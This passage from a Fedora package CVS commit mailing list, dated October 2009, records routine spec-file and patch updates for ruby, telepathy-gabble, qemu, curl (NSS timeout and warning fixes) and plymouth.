 -      GEMDIRS = Dir["#{Gem.path}/doc/*/ri"]
--      GEMDIRS.each { |path| RI::Paths::PATH << path }
-+      require 'rubygems'  
-+      gemdirs = []
-+      Gem.path.each{ |gempath| 
-+         ripath = Dir["#{gempath}/doc/*/ri"]
-+         ripath.each { |path| RI::Paths::PATH << path }
-+         gemdirs << gempath
-+      }
-+      GEMDIRS = gemdirs
++      GEMDIRS = Gem.path.map {|path| Dir["#{path}/doc/*/ri"]}.flatten
+       GEMDIRS.each { |path| RI::Paths::PATH << path }
      rescue LoadError
        GEMDIRS = nil
-     end
-@@ -71,7 +76,9 @@
-       path << RI::Paths::SYSDIR if use_system
-       path << RI::Paths::SITEDIR if use_site
-       path << RI::Paths::HOMEDIR if use_home
--      path << RI::Paths::GEMDIRS if use_gems
-+      if use_gems
-+         RI::Paths::GEMDIRS.each {|gemdirs| path << gemdirs }
-+      end
- 
-       return path.flatten.compact
-     end


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/devel/ruby.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- ruby.spec	13 Oct 2009 18:03:03 -0000	1.140
+++ ruby.spec	14 Oct 2009 15:24:31 -0000	1.141
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	4%{?dist}
+Release:	5%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -548,6 +548,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-5
+- Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>
+
 * Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-4
 - Fix the search path of ri command for ri manuals installed with gem
   (bug 528787)



From bpepple at fedoraproject.org  Wed Oct 14 15:25:55 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Wed, 14 Oct 2009 15:25:55 +0000 (UTC)
Subject: rpms/telepathy-gabble/devel .cvsignore, 1.56, 1.57 sources, 1.56,
	1.57 telepathy-gabble.spec, 1.68, 1.69
Message-ID: <20091014152555.B231411C00E5@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-gabble/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3580

Modified Files:
	.cvsignore sources telepathy-gabble.spec 
Log Message:
* Wed Oct 14 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.7-1
- Update to 0.8.7.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/devel/.cvsignore,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- .cvsignore	9 Oct 2009 17:08:40 -0000	1.56
+++ .cvsignore	14 Oct 2009 15:25:55 -0000	1.57
@@ -1 +1 @@
-telepathy-gabble-0.8.6.tar.gz
+telepathy-gabble-0.8.7.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/devel/sources,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- sources	9 Oct 2009 17:08:40 -0000	1.56
+++ sources	14 Oct 2009 15:25:55 -0000	1.57
@@ -1 +1 @@
-4a9e82aefbc34883ec2fc0f314bac4bd  telepathy-gabble-0.8.6.tar.gz
+1ab5505b5410f79438a886097db7c16e  telepathy-gabble-0.8.7.tar.gz


Index: telepathy-gabble.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/devel/telepathy-gabble.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- telepathy-gabble.spec	9 Oct 2009 17:08:40 -0000	1.68
+++ telepathy-gabble.spec	14 Oct 2009 15:25:55 -0000	1.69
@@ -1,5 +1,5 @@
 Name:           telepathy-gabble
-Version:        0.8.6
+Version:        0.8.7
 Release:        1%{?dist}
 Summary:        A Jabber/XMPP connection manager
 
@@ -59,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 14 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.7-1
+- Update to 0.8.7.
+
 * Fri Oct  9 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.6-1
 - Update to 0.8.6.
 



From bpepple at fedoraproject.org  Wed Oct 14 15:26:28 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Wed, 14 Oct 2009 15:26:28 +0000 (UTC)
Subject: rpms/telepathy-gabble/F-12 .cvsignore, 1.56, 1.57 sources, 1.56,
	1.57 telepathy-gabble.spec, 1.68, 1.69
Message-ID: <20091014152628.8625111C00E5@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-gabble/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3786

Modified Files:
	.cvsignore sources telepathy-gabble.spec 
Log Message:
* Wed Oct 14 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.7-1
- Update to 0.8.7.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/F-12/.cvsignore,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- .cvsignore	2 Oct 2009 22:26:36 -0000	1.56
+++ .cvsignore	14 Oct 2009 15:26:28 -0000	1.57
@@ -1 +1 @@
-telepathy-gabble-0.8.5.tar.gz
+telepathy-gabble-0.8.7.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/F-12/sources,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- sources	2 Oct 2009 22:26:36 -0000	1.56
+++ sources	14 Oct 2009 15:26:28 -0000	1.57
@@ -1 +1 @@
-6874a802082c010d0abb0b75fbfbe8fc  telepathy-gabble-0.8.5.tar.gz
+1ab5505b5410f79438a886097db7c16e  telepathy-gabble-0.8.7.tar.gz


Index: telepathy-gabble.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/F-12/telepathy-gabble.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- telepathy-gabble.spec	2 Oct 2009 22:26:36 -0000	1.68
+++ telepathy-gabble.spec	14 Oct 2009 15:26:28 -0000	1.69
@@ -1,5 +1,5 @@
 Name:           telepathy-gabble
-Version:        0.8.5
+Version:        0.8.7
 Release:        1%{?dist}
 Summary:        A Jabber/XMPP connection manager
 
@@ -13,7 +13,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  dbus-devel >= 1.1.0
 BuildRequires:  dbus-glib-devel >= 0.78
 BuildRequires:  loudmouth-devel >= 1.3.2
-BuildRequires:  telepathy-glib-devel >= 0.7.34
+BuildRequires:  telepathy-glib-devel >= 0.7.37
 BuildRequires:  glib2-devel >= 2.16
 BuildRequires:  libuuid-devel
 BuildRequires:  libsoup-devel
@@ -59,6 +59,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 14 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.7-1
+- Update to 0.8.7.
+
+* Fri Oct  9 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.6-1
+- Update to 0.8.6.
+
 * Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.5-1
 - Update to 0.8.5.
 



From markmc at fedoraproject.org  Wed Oct 14 15:33:21 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Wed, 14 Oct 2009 15:33:21 +0000 (UTC)
Subject: rpms/qemu/devel qemu.spec,1.140,1.141
Message-ID: <20091014153321.CA68D11C00E5@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5148

Modified Files:
	qemu.spec 
Log Message:
remove trailing blanks


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- qemu.spec	9 Oct 2009 14:32:55 -0000	1.140
+++ qemu.spec	14 Oct 2009 15:33:21 -0000	1.141
@@ -100,7 +100,7 @@ will install qemu-system-x86
 Summary: QEMU command line tool for manipulating disk images
 Group: Development/Tools
 %description img
-QEMU is a generic and open source processor emulator which achieves a good 
+QEMU is a generic and open source processor emulator which achieves a good
 emulation speed by using dynamic translation.
 
 This package provides the command line tool for manipulating disk images
@@ -429,7 +429,7 @@ if [ $1 -ge 1 ]; then
     /sbin/service qemu condrestart &>/dev/null || :
 fi
 
-%files 
+%files
 %defattr(-,root,root)
 
 %files kvm
@@ -440,10 +440,10 @@ fi
 %doc %{qemudocdir}/Changelog
 %doc %{qemudocdir}/README
 %doc %{qemudocdir}/TODO
-%doc %{qemudocdir}/qemu-doc.html 
+%doc %{qemudocdir}/qemu-doc.html
 %doc %{qemudocdir}/qemu-tech.html
-%doc %{qemudocdir}/COPYING 
-%doc %{qemudocdir}/COPYING.LIB 
+%doc %{qemudocdir}/COPYING
+%doc %{qemudocdir}/COPYING.LIB
 %doc %{qemudocdir}/LICENSE
 %dir %{_datadir}/%{name}/
 %{_datadir}/%{name}/keymaps/



From markmc at fedoraproject.org  Wed Oct 14 15:34:00 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Wed, 14 Oct 2009 15:34:00 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu.spec,1.140,1.141
Message-ID: <20091014153400.D6E8011C00E5@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5257

Modified Files:
	qemu.spec 
Log Message:
remove trailing blanks


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- qemu.spec	9 Oct 2009 14:34:17 -0000	1.140
+++ qemu.spec	14 Oct 2009 15:34:00 -0000	1.141
@@ -100,7 +100,7 @@ will install qemu-system-x86
 Summary: QEMU command line tool for manipulating disk images
 Group: Development/Tools
 %description img
-QEMU is a generic and open source processor emulator which achieves a good 
+QEMU is a generic and open source processor emulator which achieves a good
 emulation speed by using dynamic translation.
 
 This package provides the command line tool for manipulating disk images
@@ -429,7 +429,7 @@ if [ $1 -ge 1 ]; then
     /sbin/service qemu condrestart &>/dev/null || :
 fi
 
-%files 
+%files
 %defattr(-,root,root)
 
 %files kvm
@@ -440,10 +440,10 @@ fi
 %doc %{qemudocdir}/Changelog
 %doc %{qemudocdir}/README
 %doc %{qemudocdir}/TODO
-%doc %{qemudocdir}/qemu-doc.html 
+%doc %{qemudocdir}/qemu-doc.html
 %doc %{qemudocdir}/qemu-tech.html
-%doc %{qemudocdir}/COPYING 
-%doc %{qemudocdir}/COPYING.LIB 
+%doc %{qemudocdir}/COPYING
+%doc %{qemudocdir}/COPYING.LIB
 %doc %{qemudocdir}/LICENSE
 %dir %{_datadir}/%{name}/
 %{_datadir}/%{name}/keymaps/



From kdudka at fedoraproject.org  Wed Oct 14 15:35:41 2009
From: kdudka at fedoraproject.org (Kamil Dudka)
Date: Wed, 14 Oct 2009 15:35:41 +0000 (UTC)
Subject: rpms/curl/devel curl-7.19.6-nss-warnings.diff, NONE,
	1.1 curl-7.19.7-nss-nonblock.diff, NONE, 1.1 curl.spec, 1.121, 1.122
Message-ID: <20091014153541.D228211C00E5@cvs1.fedora.phx.redhat.com>

Author: kdudka

Update of /cvs/extras/rpms/curl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6158

Modified Files:
	curl.spec 
Added Files:
	curl-7.19.6-nss-warnings.diff curl-7.19.7-nss-nonblock.diff 
Log Message:
- fix timeout issues and gcc warnings within lib/nss.c

curl-7.19.6-nss-warnings.diff:
 nss.c |   60 +++++++++++++++++++++++++++---------------------------------
 1 file changed, 27 insertions(+), 33 deletions(-)

--- NEW FILE curl-7.19.6-nss-warnings.diff ---
diff -rup curl-7.19.6.orig/lib/nss.c curl-7.19.6/lib/nss.c
--- curl-7.19.6.orig/lib/nss.c	2009-10-14 17:24:48.863839812 +0200
+++ curl-7.19.6/lib/nss.c	2009-10-14 17:25:29.192777766 +0200
@@ -278,6 +278,24 @@ static int is_file(const char *filename)
   return 0;
 }
 
+static char *fmt_nickname(char *str, bool *nickname_alloc)
+{
+    char *nickname = NULL;
+    *nickname_alloc = FALSE;
+
+    if(is_file(str)) {
+      char *n = strrchr(str, '/');
+      if(n) {
+        *nickname_alloc = TRUE;
+        n++; /* skip last slash */
+        nickname = aprintf("PEM Token #%d:%s", 1, n);
+      }
+      return nickname;
+    }
+
+    return str;
+}
+
 static int nss_load_cert(struct ssl_connect_data *ssl,
                          const char *filename, PRBool cacert)
 {
@@ -795,7 +813,7 @@ static SECStatus SelectClientCert(void *
       return SECFailure;
     }
 
-    infof(data, "NSS: Client client certificate: %s\n", nickname);
+    infof(data, "NSS: client certificate: %s\n", nickname);
     display_cert_info(data, *pRetCert);
     return SECSuccess;
   }
@@ -1164,24 +1182,10 @@ CURLcode Curl_nss_connect(struct connect
   }
 
   if(data->set.str[STRING_CERT]) {
-    char *n;
-    char *nickname;
     bool nickname_alloc = FALSE;
-
-    if(is_file(data->set.str[STRING_CERT])) {
-      n = strrchr(data->set.str[STRING_CERT], '/');
-      if(n) {
-        n++; /* skip last slash */
-        nickname = aprintf("PEM Token #%d:%s", 1, n);
-        if(!nickname)
-          return CURLE_OUT_OF_MEMORY;
-
-        nickname_alloc = TRUE;
-      }
-    }
-    else {
-      nickname = data->set.str[STRING_CERT];
-    }
+    char *nickname = fmt_nickname(data->set.str[STRING_CERT], &nickname_alloc);
+    if(!nickname)
+      return CURLE_OUT_OF_MEMORY;
 
     if(!cert_stuff(conn, sockindex, data->set.str[STRING_CERT],
                     data->set.str[STRING_KEY])) {
@@ -1240,23 +1244,13 @@ CURLcode Curl_nss_connect(struct connect
   display_conn_info(conn, connssl->handle);
 
   if (data->set.str[STRING_SSL_ISSUERCERT]) {
-    char *n;
-    char *nickname;
-    bool nickname_alloc = FALSE;
     SECStatus ret;
+    bool nickname_alloc = FALSE;
+    char *nickname = fmt_nickname(data->set.str[STRING_SSL_ISSUERCERT],
+                                  &nickname_alloc);
 
-    if(is_file(data->set.str[STRING_SSL_ISSUERCERT])) {
-      n = strrchr(data->set.str[STRING_SSL_ISSUERCERT], '/');
-      if (n) {
-        n++; /* skip last slash */
-        nickname = aprintf("PEM Token #%d:%s", 1, n);
-        if(!nickname)
-          return CURLE_OUT_OF_MEMORY;
-        nickname_alloc = TRUE;
-      }
-    }
-    else
-      nickname = data->set.str[STRING_SSL_ISSUERCERT];
+    if(!nickname)
+      return CURLE_OUT_OF_MEMORY;
 
     ret = check_issuer_cert(connssl->handle, nickname);
 

curl-7.19.7-nss-nonblock.diff:
 nss.c |   47 +++++++++++++----------------------------------
 1 file changed, 13 insertions(+), 34 deletions(-)

--- NEW FILE curl-7.19.7-nss-nonblock.diff ---
--- curl-7.19.6.orig/lib/nss.c	2009-10-07 21:41:55.213109928 +0200
+++ curl-7.19.6/lib/nss.c	2009-10-08 19:48:05.379110326 +0200
@@ -83,8 +83,6 @@ PRLock * nss_initlock = NULL;
 
 volatile int initialized = 0;
 
-#define HANDSHAKE_TIMEOUT 30
-
 typedef struct {
   const char *name;
   int num;
@@ -947,6 +945,8 @@ CURLcode Curl_nss_connect(struct connect
   char *certDir = NULL;
   int curlerr;
   const int *cipher_to_enable;
+  PRSocketOptionData sock_opt;
+  PRUint32 timeout;
 
   curlerr = CURLE_SSL_CONNECT_ERROR;
 
@@ -1040,6 +1040,12 @@ CURLcode Curl_nss_connect(struct connect
     goto error;
   model = SSL_ImportFD(NULL, model);
 
+  /* make the socket nonblocking */
+  sock_opt.option = PR_SockOpt_Nonblocking;
+  sock_opt.value.non_blocking = PR_TRUE;
+  if(PR_SetSocketOption(model, &sock_opt) != SECSuccess)
+    goto error;
+
   if(SSL_OptionSet(model, SSL_SECURITY, PR_TRUE) != SECSuccess)
     goto error;
   if(SSL_OptionSet(model, SSL_HANDSHAKE_AS_SERVER, PR_FALSE) != SECSuccess)
@@ -1225,9 +1231,8 @@ CURLcode Curl_nss_connect(struct connect
   SSL_SetURL(connssl->handle, conn->host.name);
 
   /* Force the handshake now */
-  if(SSL_ForceHandshakeWithTimeout(connssl->handle,
-                                    PR_SecondsToInterval(HANDSHAKE_TIMEOUT))
-      != SECSuccess) {
+  timeout = PR_MillisecondsToInterval(Curl_timeleft(conn, NULL, TRUE));
+  if(SSL_ForceHandshakeWithTimeout(connssl->handle, timeout) != SECSuccess) {
     if(conn->data->set.ssl.certverifyresult == SSL_ERROR_BAD_CERT_DOMAIN)
       curlerr = CURLE_PEER_FAILED_VERIFICATION;
     else if(conn->data->set.ssl.certverifyresult!=0)
@@ -1289,27 +1294,12 @@ int Curl_nss_send(struct connectdata *co
                   const void *mem,           /* send this data */
                   size_t len)                /* amount to write */
 {
-  PRInt32 err;
-  struct SessionHandle *data = conn->data;
-  PRInt32 timeout;
   int rc;
 
-  if(data->set.timeout)
-    timeout = PR_MillisecondsToInterval((PRUint32)data->set.timeout);
-  else
-    timeout = PR_MillisecondsToInterval(DEFAULT_CONNECT_TIMEOUT);
-
-  rc = PR_Send(conn->ssl[sockindex].handle, mem, (int)len, 0, timeout);
+  rc = PR_Send(conn->ssl[sockindex].handle, mem, (int)len, 0, -1);
 
   if(rc < 0) {
-    err = PR_GetError();
-
-    if(err == PR_IO_TIMEOUT_ERROR) {
-      failf(data, "SSL connection timeout");
-      return CURLE_OPERATION_TIMEDOUT;
-    }
-
-    failf(conn->data, "SSL write: error %d", err);
+    failf(conn->data, "SSL write: error %d", PR_GetError());
     return -1;
   }
   return rc; /* number of bytes */
@@ -1327,15 +1317,8 @@ ssize_t Curl_nss_recv(struct connectdata
                       bool * wouldblock)
 {
   ssize_t nread;
-  struct SessionHandle *data = conn->data;
-  PRInt32 timeout;
 
-  if(data->set.timeout)
-    timeout = PR_SecondsToInterval((PRUint32)data->set.timeout);
-  else
-    timeout = PR_MillisecondsToInterval(DEFAULT_CONNECT_TIMEOUT);
-
-  nread = PR_Recv(conn->ssl[num].handle, buf, (int)buffersize, 0, timeout);
+  nread = PR_Recv(conn->ssl[num].handle, buf, (int)buffersize, 0, -1);
   *wouldblock = FALSE;
   if(nread < 0) {
     /* failed SSL read */
@@ -1345,10 +1328,6 @@ ssize_t Curl_nss_recv(struct connectdata
       *wouldblock = TRUE;
       return -1; /* basically EWOULDBLOCK */
     }
-    if(err == PR_IO_TIMEOUT_ERROR) {
-      failf(data, "SSL connection timeout");
-      return CURLE_OPERATION_TIMEDOUT;
-    }
     failf(conn->data, "SSL read: errno %d", err);
     return -1;
   }


Index: curl.spec
===================================================================
RCS file: /cvs/extras/rpms/curl/devel/curl.spec,v
retrieving revision 1.121
retrieving revision 1.122
diff -u -p -r1.121 -r1.122
--- curl.spec	6 Oct 2009 13:54:15 -0000	1.121
+++ curl.spec	14 Oct 2009 15:35:41 -0000	1.122
@@ -1,7 +1,7 @@
 Summary: A utility for getting files from remote servers (FTP, HTTP, and others)
 Name: curl
 Version: 7.19.6
-Release: 12%{?dist}
+Release: 13%{?dist}
 License: MIT
 Group: Applications/Internet
 Source: http://curl.haxx.se/download/%{name}-%{version}.tar.lzma
@@ -11,6 +11,8 @@ Patch2: curl-7.19.6-nss-cn.patch
 Patch3: curl-7.19.6-poll.patch
 Patch4: curl-7.19.6-autoconf.patch
 Patch5: curl-7.19.6-nss-guenter.patch
+Patch6: curl-7.19.6-nss-warnings.diff
+Patch7: curl-7.19.7-nss-nonblock.diff
 Patch101: curl-7.15.3-multilib.patch
 Patch102: curl-7.16.0-privlibs.patch
 Patch103: curl-7.19.4-debug.patch
@@ -78,6 +80,10 @@ use cURL's capabilities internally.
 %patch3 -p1
 %patch4 -p1
 %patch5 -p1
+%patch6 -p1
+
+# upstream patches (not yet applied)
+%patch7 -p1
 
 # Fedora patches
 %patch101 -p1
@@ -166,6 +172,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/aclocal/libcurl.m4
 
 %changelog
+* Wed Oct 14 2009 Kamil Dudka <kdudka at redhat.com> 7.19.6-13
+- fix timeout issues and gcc warnings within lib/nss.c
+
 * Tue Oct 06 2009 Kamil Dudka <kdudka at redhat.com> 7.19.6-12
 - upstream patch for NSS support written by Guenter Knauf
 



From rstrode at fedoraproject.org  Wed Oct 14 15:35:46 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed, 14 Oct 2009 15:35:46 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-text-ask-for-password.patch, NONE,
	1.1 plymouth.spec, 1.159, 1.160
Message-ID: <20091014153546.870F811C00E5@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6110

Modified Files:
	plymouth.spec 
Added Files:
	fix-text-ask-for-password.patch 
Log Message:
- Don't clear screen in text plugin immediately after displaying
  password prompt (bug 527426)


fix-text-ask-for-password.patch:
 plugin.c |    3 ---
 1 file changed, 3 deletions(-)

--- NEW FILE fix-text-ask-for-password.patch ---
>From d63a2aec8d3d155b6eaf664114c77c126ddbce9e Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Wed, 14 Oct 2009 11:29:55 -0400
Subject: [PATCH] [text] Don't redraw views after password request

The text plugin doesn't have proper draw handlers at
the moment.  Drawing happens outside of the draw handlers,
and the draw handlers only clear screen.  Don't force
draw_area calls because that clears any drawing.
---
 src/plugins/splash/text/plugin.c |    2 --
 1 files changed, 0 insertions(+), 2 deletions(-)

diff --git a/src/plugins/splash/text/plugin.c b/src/plugins/splash/text/plugin.c
index bb09b22..61dafa9 100644
--- a/src/plugins/splash/text/plugin.c
+++ b/src/plugins/splash/text/plugin.c
@@ -692,7 +692,6 @@ display_password (ply_boot_splash_plugin_t *plugin,
 
   show_password_prompt (plugin, prompt, bullets);
 
-  redraw_views (plugin);
   unpause_views (plugin);
 }
 
@@ -712,7 +711,6 @@ display_question (ply_boot_splash_plugin_t *plugin,
 
   show_prompt (plugin, prompt, entry_text);
 
-  redraw_views (plugin);
   unpause_views (plugin);
 }
 
-- 
1.6.5.rc2



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.159
retrieving revision 1.160
diff -u -p -r1.159 -r1.160
--- plymouth.spec	13 Oct 2009 16:51:18 -0000	1.159
+++ plymouth.spec	14 Oct 2009 15:35:46 -0000	1.160
@@ -6,7 +6,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.11%{?dist}
+Release: 0.2009.29.09.12%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -38,6 +38,7 @@ Patch4: more-drm-fixes.patch
 Patch5: fix-emergency-shell.patch
 Patch6: fix-details-clear-screen.patch
 Patch7: fix-text-shutdown-crash.patch
+Patch8: fix-text-ask-for-password.patch
 
 %description
 Plymouth provides an attractive graphical boot animation in
@@ -253,6 +254,7 @@ plugin.
 %patch5 -p1 -b .fix-emergency-shell
 %patch6 -p1 -b .fix-details-clear-screen
 %patch7 -p1 -b .fix-text-shutdown-crash
+%patch8 -p1 -b .fix-text-ask-for-password
 
 %build
 %configure --enable-tracing --disable-tests --without-boot-entry \
@@ -470,6 +472,10 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Wed Oct 14 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.12
+- Don't clear screen in text plugin immediately after displaying
+  password prompt (bug 527426)
+
 * Tue Oct 13 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.11
 - Clean up terminal on exit (bug 528683 again)
 



From mtasaka at fedoraproject.org  Wed Oct 14 15:37:17 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed, 14 Oct 2009 15:37:17 +0000 (UTC)
Subject: rpms/ruby/F-11 ruby-1.8.6-p369-ri-gem_multipath.patch, 1.1,
	1.2 ruby.spec, 1.137, 1.138
Message-ID: <20091014153717.47FF911C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6567

Modified Files:
	ruby-1.8.6-p369-ri-gem_multipath.patch ruby.spec 
Log Message:
* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-3
- Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>


ruby-1.8.6-p369-ri-gem_multipath.patch:
 ri_options.rb |    8 ++++++--
 ri_paths.rb   |    2 +-
 2 files changed, 7 insertions(+), 3 deletions(-)

Index: ruby-1.8.6-p369-ri-gem_multipath.patch
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-11/ruby-1.8.6-p369-ri-gem_multipath.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ruby-1.8.6-p369-ri-gem_multipath.patch	13 Oct 2009 18:26:15 -0000	1.1
+++ ruby-1.8.6-p369-ri-gem_multipath.patch	14 Oct 2009 15:37:17 -0000	1.2
@@ -1,11 +1,11 @@
 --- ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
-+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 01:08:42.000000000 +0900
++++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 23:51:09.000000000 +0900
 @@ -63,7 +63,7 @@
  
          [ "--gems",         nil,    nil,
            "Include documentation from Rubygems:\n  " +
 -          (RI::Paths::GEMDIRS ? "#{Gem.path}/doc/*/ri" :
-+          (RI::Paths::GEMDIRS ? ( tmppath=""; Gem.path.each {|path| tmppath += "#{path}/doc/*/ri "}; tmppath) :
++          (RI::Paths::GEMDIRS ? Gem.path.map {|path| "#{path}/doc/*/ri" }.join(', ') :
                                  "No Rubygems ri found.") ],
                                                             
          [ "--format",       "-f",   "<name>",
@@ -23,33 +23,13 @@
          directories = directories.join("\n    ")
  
 --- ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
-+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-13 19:58:07.000000000 +0900
-@@ -43,9 +43,14 @@
-     PATH = [ SYSDIR, SITEDIR, HOMEDIR ].find_all {|p| p && File.directory?(p)}
++++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-15 00:02:05.000000000 +0900
+@@ -44,7 +44,7 @@
  
      begin
--      require 'rubygems'
+       require 'rubygems'
 -      GEMDIRS = Dir["#{Gem.path}/doc/*/ri"]
--      GEMDIRS.each { |path| RI::Paths::PATH << path }
-+      require 'rubygems'  
-+      gemdirs = []
-+      Gem.path.each{ |gempath| 
-+         ripath = Dir["#{gempath}/doc/*/ri"]
-+         ripath.each { |path| RI::Paths::PATH << path }
-+         gemdirs << gempath
-+      }
-+      GEMDIRS = gemdirs
++      GEMDIRS = Gem.path.map {|path| Dir["#{path}/doc/*/ri"]}.flatten
+       GEMDIRS.each { |path| RI::Paths::PATH << path }
      rescue LoadError
        GEMDIRS = nil
-     end
-@@ -71,7 +76,9 @@
-       path << RI::Paths::SYSDIR if use_system
-       path << RI::Paths::SITEDIR if use_site
-       path << RI::Paths::HOMEDIR if use_home
--      path << RI::Paths::GEMDIRS if use_gems
-+      if use_gems
-+         RI::Paths::GEMDIRS.each {|gemdirs| path << gemdirs }
-+      end
- 
-       return path.flatten.compact
-     end


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-11/ruby.spec,v
retrieving revision 1.137
retrieving revision 1.138
diff -u -p -r1.137 -r1.138
--- ruby.spec	13 Oct 2009 18:26:15 -0000	1.137
+++ ruby.spec	14 Oct 2009 15:37:17 -0000	1.138
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	2%{?dist}
+Release:	3%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -537,6 +537,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-3
+- Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>
+
 * Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-2
 - Fix the search path of ri command for ri manuals installed with gem
   (bug 528787)



From markmc at fedoraproject.org  Wed Oct 14 15:45:53 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Wed, 14 Oct 2009 15:45:53 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu.spec,1.141,1.142
